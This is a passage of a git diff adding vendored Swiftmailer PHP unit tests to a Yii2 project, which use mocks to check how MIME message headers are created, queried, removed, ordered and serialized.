testPathHeaderHasCorrectModel() + { + $header = $this->_factory->createPathHeader('X-Path', 'foo@bar'); + $this->assertEquals('foo@bar', $header->getFieldBodyModel()); + } + + public function testCharsetChangeNotificationNotifiesEncoders() + { + $encoder = $this->_createHeaderEncoder(); + $encoder->expects($this->once()) + ->method('charsetChanged') + ->with('utf-8'); + $paramEncoder = $this->_createParamEncoder(); + $paramEncoder->expects($this->once()) + ->method('charsetChanged') + ->with('utf-8'); + + $factory = $this->_createFactory($encoder, $paramEncoder); + + $factory->charsetChanged('utf-8'); + } + + // -- Creation methods + + private function _createFactory($encoder = null, $paramEncoder = null) + { + return new Swift_Mime_SimpleHeaderFactory( + $encoder + ? $encoder : $this->_createHeaderEncoder(), + $paramEncoder + ? $paramEncoder : $this->_createParamEncoder(), + new Swift_Mime_Grammar() + ); + } + + private function _createHeaderEncoder() + { + return $this->getMock('Swift_Mime_HeaderEncoder'); + } + + private function _createParamEncoder() + { + return $this->getMock('Swift_Encoder'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderSetTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderSetTest.php new file mode 100644 index 00000000..a781a088 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleHeaderSetTest.php @@ -0,0 +1,734 @@ +_createFactory(); + $factory->expects($this->once()) + ->method('createMailboxHeader') + ->with('From', array('person@domain' => 'Person')) + ->will($this->returnValue($this->_createHeader('From'))); + + $set = $this->_createSet($factory); + $set->addMailboxHeader('From', array('person@domain' => 'Person')); + } + + public function testAddDateHeaderDelegatesToFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createDateHeader') + ->with('Date', 1234) + ->will($this->returnValue($this->_createHeader('Date'))); + + $set = $this->_createSet($factory); + $set->addDateHeader('Date', 1234); + } + + public function testAddTextHeaderDelegatesToFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createTextHeader') + ->with('Subject', 'some text') + ->will($this->returnValue($this->_createHeader('Subject'))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Subject', 'some text'); + } + + public function testAddParameterizedHeaderDelegatesToFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createParameterizedHeader') + ->with('Content-Type', 'text/plain', array('charset' => 'utf-8')) + ->will($this->returnValue($this->_createHeader('Content-Type'))); + + $set = $this->_createSet($factory); + $set->addParameterizedHeader('Content-Type', 'text/plain', + array('charset' => 'utf-8') + ); + } + + public function testAddIdHeaderDelegatesToFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + } + + public function testAddPathHeaderDelegatesToFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createPathHeader') + ->with('Return-Path', 'some@path') + ->will($this->returnValue($this->_createHeader('Return-Path'))); + + $set = $this->_createSet($factory); + $set->addPathHeader('Return-Path', 'some@path'); + } + + public function testHasReturnsFalseWhenNoHeaders() + { + $set = $this->_createSet($this->_createFactory()); + $this->assertFalse($set->has('Some-Header')); + } + + public function testAddedMailboxHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createMailboxHeader') + ->with('From', array('person@domain' => 'Person')) + ->will($this->returnValue($this->_createHeader('From'))); + + $set = $this->_createSet($factory); + $set->addMailboxHeader('From', array('person@domain' => 'Person')); + $this->assertTrue($set->has('From')); + } + + public function testAddedDateHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createDateHeader') + ->with('Date', 1234) + ->will($this->returnValue($this->_createHeader('Date'))); + + $set = $this->_createSet($factory); + $set->addDateHeader('Date', 1234); + $this->assertTrue($set->has('Date')); + } + + public function testAddedTextHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createTextHeader') + ->with('Subject', 'some text') + ->will($this->returnValue($this->_createHeader('Subject'))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Subject', 'some text'); + $this->assertTrue($set->has('Subject')); + } + + public function testAddedParameterizedHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createParameterizedHeader') + ->with('Content-Type', 'text/plain', array('charset' => 'utf-8')) + ->will($this->returnValue($this->_createHeader('Content-Type'))); + + $set = $this->_createSet($factory); + $set->addParameterizedHeader('Content-Type', 'text/plain', + array('charset' => 'utf-8') + ); + $this->assertTrue($set->has('Content-Type')); + } + + public function testAddedIdHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertTrue($set->has('Message-ID')); + } + + public function testAddedPathHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createPathHeader') + ->with('Return-Path', 'some@path') + ->will($this->returnValue($this->_createHeader('Return-Path'))); + + $set = $this->_createSet($factory); + $set->addPathHeader('Return-Path', 'some@path'); + $this->assertTrue($set->has('Return-Path')); + } + + public function testNewlySetHeaderIsSeenByHas() + { + $factory = $this->_createFactory(); + $header = $this->_createHeader('X-Foo', 'bar'); + $set = $this->_createSet($factory); + $set->set($header); + $this->assertTrue($set->has('X-Foo')); + } + + public function testHasCanAcceptOffset() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertTrue($set->has('Message-ID', 0)); + } + + public function testHasWithIllegalOffsetReturnsFalse() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertFalse($set->has('Message-ID', 1)); + } + + public function testHasCanDistinguishMultipleHeaders() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($this->_createHeader('Message-ID'))); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $this->assertTrue($set->has('Message-ID', 1)); + } + + public function testGetWithUnspecifiedOffset() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertSame($header, $set->get('Message-ID')); + } + + public function testGetWithSpeiciedOffset() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Message-ID'); + $header2 = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($header1)); + $factory->expects($this->at(2)) + ->method('createIdHeader') + ->with('Message-ID', 'more@id') + ->will($this->returnValue($header2)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $set->addIdHeader('Message-ID', 'more@id'); + $this->assertSame($header1, $set->get('Message-ID', 1)); + } + + public function testGetReturnsNullIfHeaderNotSet() + { + $set = $this->_createSet($this->_createFactory()); + $this->assertNull($set->get('Message-ID', 99)); + } + + public function testGetAllReturnsAllHeadersMatchingName() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Message-ID'); + $header2 = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($header1)); + $factory->expects($this->at(2)) + ->method('createIdHeader') + ->with('Message-ID', 'more@id') + ->will($this->returnValue($header2)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $set->addIdHeader('Message-ID', 'more@id'); + + $this->assertEquals(array($header0, $header1, $header2), + $set->getAll('Message-ID') + ); + } + + public function testGetAllReturnsAllHeadersIfNoArguments() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Subject'); + $header2 = $this->_createHeader('To'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Subject', 'thing') + ->will($this->returnValue($header1)); + $factory->expects($this->at(2)) + ->method('createIdHeader') + ->with('To', 'person@example.org') + ->will($this->returnValue($header2)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Subject', 'thing'); + $set->addIdHeader('To', 'person@example.org'); + + $this->assertEquals(array($header0, $header1, $header2), + $set->getAll() + ); + } + + public function testGetAllReturnsEmptyArrayIfNoneSet() + { + $set = $this->_createSet($this->_createFactory()); + $this->assertEquals(array(), $set->getAll('Received')); + } + + public function testRemoveWithUnspecifiedOffset() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->remove('Message-ID'); + $this->assertFalse($set->has('Message-ID')); + } + + public function testRemoveWithSpecifiedIndexRemovesHeader() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($header1)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $set->remove('Message-ID', 1); + $this->assertFalse($set->has('Message-ID', 1)); + } + + public function testRemoveWithSpecifiedIndexLeavesOtherHeaders() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($header1)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $set->remove('Message-ID', 1); + $this->assertTrue($set->has('Message-ID', 0)); + } + + public function testRemoveWithInvalidOffsetDoesNothing() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->remove('Message-ID', 50); + $this->assertTrue($set->has('Message-ID')); + } + + public function testRemoveAllRemovesAllHeadersWithName() + { + $header0 = $this->_createHeader('Message-ID'); + $header1 = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header0)); + $factory->expects($this->at(1)) + ->method('createIdHeader') + ->with('Message-ID', 'other@id') + ->will($this->returnValue($header1)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->addIdHeader('Message-ID', 'other@id'); + $set->removeAll('Message-ID'); + $this->assertFalse($set->has('Message-ID', 0)); + $this->assertFalse($set->has('Message-ID', 1)); + } + + public function testHasIsNotCaseSensitive() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertTrue($set->has('message-id')); + } + + public function testGetIsNotCaseSensitive() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertSame($header, $set->get('message-id')); + } + + public function testGetAllIsNotCaseSensitive() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $this->assertEquals(array($header), $set->getAll('message-id')); + } + + public function testRemoveIsNotCaseSensitive() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->remove('message-id'); + $this->assertFalse($set->has('Message-ID')); + } + + public function testRemoveAllIsNotCaseSensitive() + { + $header = $this->_createHeader('Message-ID'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createIdHeader') + ->with('Message-ID', 'some@id') + ->will($this->returnValue($header)); + + $set = $this->_createSet($factory); + $set->addIdHeader('Message-ID', 'some@id'); + $set->removeAll('message-id'); + $this->assertFalse($set->has('Message-ID')); + } + + public function testNewInstance() + { + $set = $this->_createSet($this->_createFactory()); + $instance = $set->newInstance(); + $this->assertInstanceof('Swift_Mime_HeaderSet', $instance); + } + + public function testToStringJoinsHeadersTogether() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Foo', 'bar') + ->will($this->returnValue($this->_createHeader('Foo', 'bar'))); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('Zip', 'buttons') + ->will($this->returnValue($this->_createHeader('Zip', 'buttons'))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Foo', 'bar'); + $set->addTextHeader('Zip', 'buttons'); + $this->assertEquals( + "Foo: bar\r\n". + "Zip: buttons\r\n", + $set->toString() + ); + } + + public function testHeadersWithoutBodiesAreNotDisplayed() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Foo', 'bar') + ->will($this->returnValue($this->_createHeader('Foo', 'bar'))); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('Zip', '') + ->will($this->returnValue($this->_createHeader('Zip', ''))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Foo', 'bar'); + $set->addTextHeader('Zip', ''); + $this->assertEquals( + "Foo: bar\r\n", + $set->toString() + ); + } + + public function testHeadersWithoutBodiesCanBeForcedToDisplay() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Foo', '') + ->will($this->returnValue($this->_createHeader('Foo', ''))); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('Zip', '') + ->will($this->returnValue($this->_createHeader('Zip', ''))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Foo', ''); + $set->addTextHeader('Zip', ''); + $set->setAlwaysDisplayed(array('Foo', 'Zip')); + $this->assertEquals( + "Foo: \r\n". + "Zip: \r\n", + $set->toString() + ); + } + + public function testHeaderSequencesCanBeSpecified() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Third', 'three') + ->will($this->returnValue($this->_createHeader('Third', 'three'))); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('First', 'one') + ->will($this->returnValue($this->_createHeader('First', 'one'))); + $factory->expects($this->at(2)) + ->method('createTextHeader') + ->with('Second', 'two') + ->will($this->returnValue($this->_createHeader('Second', 'two'))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Third', 'three'); + $set->addTextHeader('First', 'one'); + $set->addTextHeader('Second', 'two'); + + $set->defineOrdering(array('First', 'Second', 'Third')); + + $this->assertEquals( + "First: one\r\n". + "Second: two\r\n". + "Third: three\r\n", + $set->toString() + ); + } + + public function testUnsortedHeadersAppearAtEnd() + { + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Fourth', 'four') + ->will($this->returnValue($this->_createHeader('Fourth', 'four'))); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('Fifth', 'five') + ->will($this->returnValue($this->_createHeader('Fifth', 'five'))); + $factory->expects($this->at(2)) + ->method('createTextHeader') + ->with('Third', 'three') + ->will($this->returnValue($this->_createHeader('Third', 'three'))); + $factory->expects($this->at(3)) + ->method('createTextHeader') + ->with('First', 'one') + ->will($this->returnValue($this->_createHeader('First', 'one'))); + $factory->expects($this->at(4)) + ->method('createTextHeader') + ->with('Second', 'two') + ->will($this->returnValue($this->_createHeader('Second', 'two'))); + + $set = $this->_createSet($factory); + $set->addTextHeader('Fourth', 'four'); + $set->addTextHeader('Fifth', 'five'); + $set->addTextHeader('Third', 'three'); + $set->addTextHeader('First', 'one'); + $set->addTextHeader('Second', 'two'); + + $set->defineOrdering(array('First', 'Second', 'Third')); + + $this->assertEquals( + "First: one\r\n". + "Second: two\r\n". + "Third: three\r\n". + "Fourth: four\r\n". + "Fifth: five\r\n", + $set->toString() + ); + } + + public function testSettingCharsetNotifiesAlreadyExistingHeaders() + { + $subject = $this->_createHeader('Subject', 'some text'); + $xHeader = $this->_createHeader('X-Header', 'some text'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Subject', 'some text') + ->will($this->returnValue($subject)); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('X-Header', 'some text') + ->will($this->returnValue($xHeader)); + $subject->expects($this->once()) + ->method('setCharset') + ->with('utf-8'); + $xHeader->expects($this->once()) + ->method('setCharset') + ->with('utf-8'); + + $set = $this->_createSet($factory); + $set->addTextHeader('Subject', 'some text'); + $set->addTextHeader('X-Header', 'some text'); + + $set->setCharset('utf-8'); + } + + public function testCharsetChangeNotifiesAlreadyExistingHeaders() + { + $subject = $this->_createHeader('Subject', 'some text'); + $xHeader = $this->_createHeader('X-Header', 'some text'); + $factory = $this->_createFactory(); + $factory->expects($this->at(0)) + ->method('createTextHeader') + ->with('Subject', 'some text') + ->will($this->returnValue($subject)); + $factory->expects($this->at(1)) + ->method('createTextHeader') + ->with('X-Header', 'some text') + ->will($this->returnValue($xHeader)); + $subject->expects($this->once()) + ->method('setCharset') + ->with('utf-8'); + $xHeader->expects($this->once()) + ->method('setCharset') + ->with('utf-8'); + + $set = $this->_createSet($factory); + $set->addTextHeader('Subject', 'some text'); + $set->addTextHeader('X-Header', 'some text'); + + $set->charsetChanged('utf-8'); + } + + public function testCharsetChangeNotifiesFactory() + { + $factory = $this->_createFactory(); + $factory->expects($this->once()) + ->method('charsetChanged') + ->with('utf-8'); + + $set = $this->_createSet($factory); + + $set->setCharset('utf-8'); + } + + // -- Creation methods + + private function _createSet($factory) + { + return new Swift_Mime_SimpleHeaderSet($factory); + } + + private function _createFactory() + { + return $this->getMock('Swift_Mime_HeaderFactory'); + } + + private function _createHeader($name, $body = '') + { + $header = $this->getMock('Swift_Mime_Header'); + $header->expects($this->any()) + ->method('getFieldName') + ->will($this->returnValue($name)); + $header->expects($this->any()) + ->method('toString') + ->will($this->returnValue(sprintf("%s: %s\r\n", $name, $body))); + $header->expects($this->any()) + ->method('getFieldBody') + ->will($this->returnValue($body)); + + return $header; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMessageTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMessageTest.php new file mode 100644 index 00000000..a2cbbcab --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/SimpleMessageTest.php @@ -0,0 +1,829 @@ +_createMessage($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals( + Swift_Mime_MimeEntity::LEVEL_TOP, $message->getNestingLevel() + ); + } + + public function testDateIsReturnedFromHeader() + { + $date = $this->_createHeader('Date', 123); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Date' => $date)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(123, $message->getDate()); + } + + public function testDateIsSetInHeader() + { + $date = $this->_createHeader('Date', 123, array(), false); + $date->shouldReceive('setFieldBodyModel') + ->once() + ->with(1234); + $date->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Date' => $date)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setDate(1234); + } + + public function testDateHeaderIsCreatedIfNonePresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addDateHeader') + ->once() + ->with('Date', 1234); + $headers->shouldReceive('addDateHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setDate(1234); + } + + public function testDateHeaderIsAddedDuringConstruction() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addDateHeader') + ->once() + ->with('Date', '/^[0-9]+$/D'); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + } + + public function testIdIsReturnedFromHeader() + { + /* -- RFC 2045, 7. + In constructing a high-level user agent, it may be desirable to allow + one body to make reference to another. Accordingly, bodies may be + labelled using the "Content-ID" header field, which is syntactically + identical to the "Message-ID" header field + */ + + $messageId = $this->_createHeader('Message-ID', 'a@b'); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Message-ID' => $messageId)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('a@b', $message->getId()); + } + + public function testIdIsSetInHeader() + { + $messageId = $this->_createHeader('Message-ID', 'a@b', array(), false); + $messageId->shouldReceive('setFieldBodyModel') + ->once() + ->with('x@y'); + $messageId->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Message-ID' => $messageId)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setId('x@y'); + } + + public function testIdIsAutoGenerated() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addIdHeader') + ->once() + ->with('Message-ID', '/^.*?@.*?$/D'); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + } + + public function testSubjectIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.5. + */ + + $subject = $this->_createHeader('Subject', 'example subject'); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Subject' => $subject)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('example subject', $message->getSubject()); + } + + public function testSubjectIsSetInHeader() + { + $subject = $this->_createHeader('Subject', '', array(), false); + $subject->shouldReceive('setFieldBodyModel') + ->once() + ->with('foo'); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Subject' => $subject)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setSubject('foo'); + } + + public function testSubjectHeaderIsCreatedIfNotPresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addTextHeader') + ->once() + ->with('Subject', 'example subject'); + $headers->shouldReceive('addTextHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setSubject('example subject'); + } + + public function testReturnPathIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.7. + */ + + $path = $this->_createHeader('Return-Path', 'bounces@domain'); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Return-Path' => $path)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('bounces@domain', $message->getReturnPath()); + } + + public function testReturnPathIsSetInHeader() + { + $path = $this->_createHeader('Return-Path', '', array(), false); + $path->shouldReceive('setFieldBodyModel') + ->once() + ->with('bounces@domain'); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Return-Path' => $path)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setReturnPath('bounces@domain'); + } + + public function testReturnPathHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addPathHeader') + ->once() + ->with('Return-Path', 'bounces@domain'); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setReturnPath('bounces@domain'); + } + + public function testSenderIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.2. + */ + + $sender = $this->_createHeader('Sender', array('sender@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Sender' => $sender)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('sender@domain' => 'Name'), $message->getSender()); + } + + public function testSenderIsSetInHeader() + { + $sender = $this->_createHeader('Sender', array('sender@domain' => 'Name'), + array(), false + ); + $sender->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Sender' => $sender)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setSender(array('other@domain' => 'Other')); + } + + public function testSenderHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Sender', (array) 'sender@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setSender('sender@domain'); + } + + public function testNameCanBeUsedInSenderHeader() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('Sender', array('sender@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setSender('sender@domain', 'Name'); + } + + public function testFromIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.2. + */ + + $from = $this->_createHeader('From', array('from@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('From' => $from)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('from@domain' => 'Name'), $message->getFrom()); + } + + public function testFromIsSetInHeader() + { + $from = $this->_createHeader('From', array('from@domain' => 'Name'), + array(), false + ); + $from->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('From' => $from)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setFrom(array('other@domain' => 'Other')); + } + + public function testFromIsAddedToHeadersDuringAddFrom() + { + $from = $this->_createHeader('From', array('from@domain' => 'Name'), + array(), false + ); + $from->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('from@domain' => 'Name', 'other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('From' => $from)), + $this->_createEncoder(), $this->_createCache() + ); + $message->addFrom('other@domain', 'Other'); + } + + public function testFromHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('From', (array) 'from@domain'); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setFrom('from@domain'); + } + + public function testPersonalNameCanBeUsedInFromAddress() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addMailboxHeader') + ->once() + ->with('From', array('from@domain' => 'Name')); + $headers->shouldReceive('addMailboxHeader') + ->zeroOrMoreTimes(); + + $message = $this->_createMessage($headers, $this->_createEncoder(), + $this->_createCache() + ); + $message->setFrom('from@domain', 'Name'); + } + + public function testReplyToIsReturnedFromHeader() + { + /* -- RFC 2822, 3.6.2. + */ + + $reply = $this->_createHeader('Reply-To', array('reply@domain' => 'Name')); + $message = $this->_createMessage( + $this->_createHeaderSet(array('Reply-To' => $reply)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals(array('reply@domain' => 'Name'), $message->getReplyTo()); + } + + public function testReplyToIsSetInHeader() + { + $reply = $this->_createHeader('Reply-To', array('reply@domain' => 'Name'), + array(), false + ); + $reply->shouldReceive('setFieldBodyModel') + ->once() + ->with(array('other@domain' => 'Other')); + + $message = $this->_createMessage( + $this->_createHeaderSet(array('Reply-To' => $reply)), + $this->_createEncoder(), $this->_createCache() + ); + $message->setReplyTo(array('other@domain' => 'Other')); + } + + public function testReplyToIsAddedToHeadersDuringAddReplyTo() + { + $replyTo = $this->_createHeader('Reply-To', 